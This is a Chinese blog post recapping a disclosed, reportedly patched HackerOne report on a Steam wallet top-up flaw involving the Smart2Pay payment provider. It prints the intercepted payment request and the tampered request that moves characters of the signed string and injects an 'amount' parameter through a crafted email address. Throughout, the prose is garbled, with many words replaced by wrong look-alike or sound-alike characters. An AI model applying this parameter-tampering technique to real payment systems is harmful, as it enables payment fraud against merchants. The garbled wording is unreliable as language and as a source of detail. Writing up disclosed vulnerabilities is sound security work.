前几天刷到一个Steam领取破绽新闻,但形容的细节很毛糙,大略都是这样的:
近日,Hackerone(黑客街:出名寰球破绽众测平台,发现应用程序破绽提交后可取得赏金)上的一名黑客 drbrix 发现了steam的一个重大破绽,该破绽容许用户无限度的收费向steam钱包中增加资金,来看下详细情况
据悉,这个破绽与荷兰领取平台Smart2Pay无关,这个破绽容许steam用户收费的增加无限度的资金到steam钱包中,细节操作则是在用户通过特定电子邮件这一付款选项结账时,能拦挡交易并将steam钱包中的余额收缩至有数倍。侥幸的是目前除了这位黑客,还没人发现这个破绽,他被迫也将这个bug提交给了V社,V社看到后立即修复了这个BUG并处分了这位黑客7500美元(约合人民币48576元)
形容的很令人好奇,为什么用特定邮箱就能实现绕过校验充值?邮箱跟充值又怎么扯上分割的?但手机上不不便搜寻,于是就放着了。
明天又想起这个来,顺手搜了一下,搜到了原文 Modify in-flight data to payment provider Smart2Pay
简略的复述一下 drbrix
的报告。
依据报告,破绽产生在 Steam钱包充值
的流程中,失常进入领取页面,而后领取形式要抉择 Smart2Pay
的领取形式,(Smart2Pay
我在国区登录中没看到,搜了下,发现也是一种领取渠道,反对上百种领取形式)。
之后能看到申请信息
POST / HTTP/1.1Host: globalapi.smart2pay.comContent-Length: 388Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1Origin: https://store.steampowered.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://store.steampowered.com/Accept-Encoding: gzip, deflateAccept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7Connection: closeMerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███
作者形容,因为签名有校验,所以不能随便的增删批改签名,hash逻辑大略是这样的 hash(MerchantID1102MerchantTransactionID█████Amount2000.....)
。
接下来就是比拟骚的思路了,增删和批改数字无奈通过校验,然而调整签名的字符程序后仍然能通过校验。像是 Amount=2000
批改为 Amount2=000
。
但单纯这样没用,短少了 Amount
字段。此时就要想方法结构一个新的 Amount
字段,既不能减少也不能缩小,那么只能拿原有的字段值来调整,在用户手上惟一能批改的就是邮箱名称,所以作者在结尾说道这个办法不得不批改你的邮箱。作者将邮箱批改为 brixamount100abc@█████
其中带上了关键字 amount100
,
而后拦挡并批改结构申请信息,
MerchantID=1102&MerchantTransactionID=██████&Amount2=000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brix&amount=100&ab=c%40██████████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=█████████
这里将原来的 Amount=2000
批改为 Amount2=000
,而后邮箱中的关键字用 &
分隔进去成为新的参数值,CustomerEmail=brix&amount=100&ab=c%40
。
这样只须要领取1美元就实现原来订单中20美元的充值。
最初如新闻所说,V社在评估后把破绽评定为重大,并且给了开掘者 7500
美元处分。
如果没有颁布报告,必定怎么也想不到,这样简略的操作就是绕过领取校验(开掘者自身须要有功底和教训,但这个破绽的操作上并不需要太浅近的技术,这样也晋升了这个破绽的严重性),而那段发送的数据就是新闻中经常提到的精心结构的数据。